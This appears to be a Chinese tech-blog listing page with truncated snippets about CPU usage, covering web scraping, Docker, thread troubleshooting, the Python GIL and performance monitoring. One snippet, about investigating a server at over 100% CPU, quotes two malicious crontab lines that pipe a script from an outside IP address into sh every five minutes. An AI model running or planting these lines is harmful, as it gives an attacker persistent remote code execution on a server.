首先,糗事百科大家都听说过吧?糗友们发的搞笑的段子一抓一大把,这次我们尝试一下用爬虫把他们抓取下来。 友情提示 糗事百科在前一段时间进行了改版,导致之前的代码没法用了,会导致无法输出和CPU占用过高的情况,是因为正则表达式没有匹配到的缘故。 现在,博主已经对程序进行了重新修改,代码亲测可用,包括截图 ...
分类:
编程语言 时间:
2018-01-10 11:41:16
阅读次数:
198
docker标准化,快速扩展,弹性伸缩。隔离性。docker应用启动时设置其运行的最大cpu占用、内存、硬盘等资源,如果超过就杀掉它。 1.解决运行环境不一致,带来的问题 2.资源隔离 3. 快速扩展、弹性伸缩运行步骤: 1.Build - 构建镜像 - [镜像 类比 集装箱] Docker 镜像就... ...
分类:
其他好文 时间:
2018-01-04 16:25:16
阅读次数:
124
某天反馈服务卡 1.先top -c 按进程高到低排序,找出高进程的pid 2.然后 top -H -P PID 找出进程内占高的线程。 3.使用gstack命令查看进程中各线程的函数调用栈,并存日志保存出来。gstack 14094 > gstack.log 把占用高的线程日志截存出来 最后让开发定 ...
分类:
其他好文 时间:
2017-12-28 16:06:05
阅读次数:
122
一、需求缘起 Web-Server通常有个配置,最大工作线程数,后端服务一般也有个配置,工作线程池的线程数量,这个线程数的配置不同的业务架构师有不同的经验值,有些业务设置为CPU核数的2倍,有些业务设置为CPU核数的8倍,有些业务设置为CPU核数的32倍。 “工作线程数”的设置依据是什么,到底设置为 ...
分类:
编程语言 时间:
2017-12-25 15:37:10
阅读次数:
191
原文:制造高CPU使用率的简单方法在群里有人问制造CPU占用率高的场景用来做测试。所谓做好事难,干“坏”事还不容易?这个需求有很多方法可以实现,比如使用一些压力测试工具。我首先想 到的是HASH JOIN。这个联接比较消耗CPU资源,拿两大表HASH JOIN一下,最好是包含大字段的,开多几个进程,... ...
分类:
其他好文 时间:
2017-12-25 13:31:20
阅读次数:
152
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh 发现服务器CPU占用率超100,先不要着急删除文件,确定文件 ...
分类:
其他好文 时间:
2017-12-15 12:34:29
阅读次数:
168
笔者今天受一个帖子的启发,发现可以使用Windows的性能监视器监控基本上所有的系统资源情况,下面是教程:性能监视器位置在 控制面板-管理工具中打开后默认就一项CPU占用的监控,下面以添加硬盘空闲时间做示例1:监控图形上面右键 添加计数器2:然后找到PhysicalDisk项 选择%Idle Time,点击添加,不知道项目的含义可以点击左下角的 显示描述3:接着就能在监控图形上面看到空闲率的图形了
GIL 与 Python 线程的纠葛 GIL 是什么?它对 python 程序会产生怎样的影响?我们先来看一个问题。运行下面这段 python 代码,CPU 占用率是多少? 答案是什么呢,占用 100% CPU?那是单核!还得是没有超线程的古董 CPU。在我的双核 CPU 上,这个死循环只会吃掉我一 ...
分类:
编程语言 时间:
2017-12-13 23:31:25
阅读次数:
225
转自:http://www.cnblogs.com/skying555/p/6527189.html GIL 与 Python 线程的纠葛 GIL 是什么东西?它对我们的 python 程序会产生什么样的影响?我们先来看一个问题。运行下面这段 python 程序,CPU 占用率是多少? 答案是什么呢 ...
分类:
编程语言 时间:
2017-12-06 18:04:54
阅读次数:
231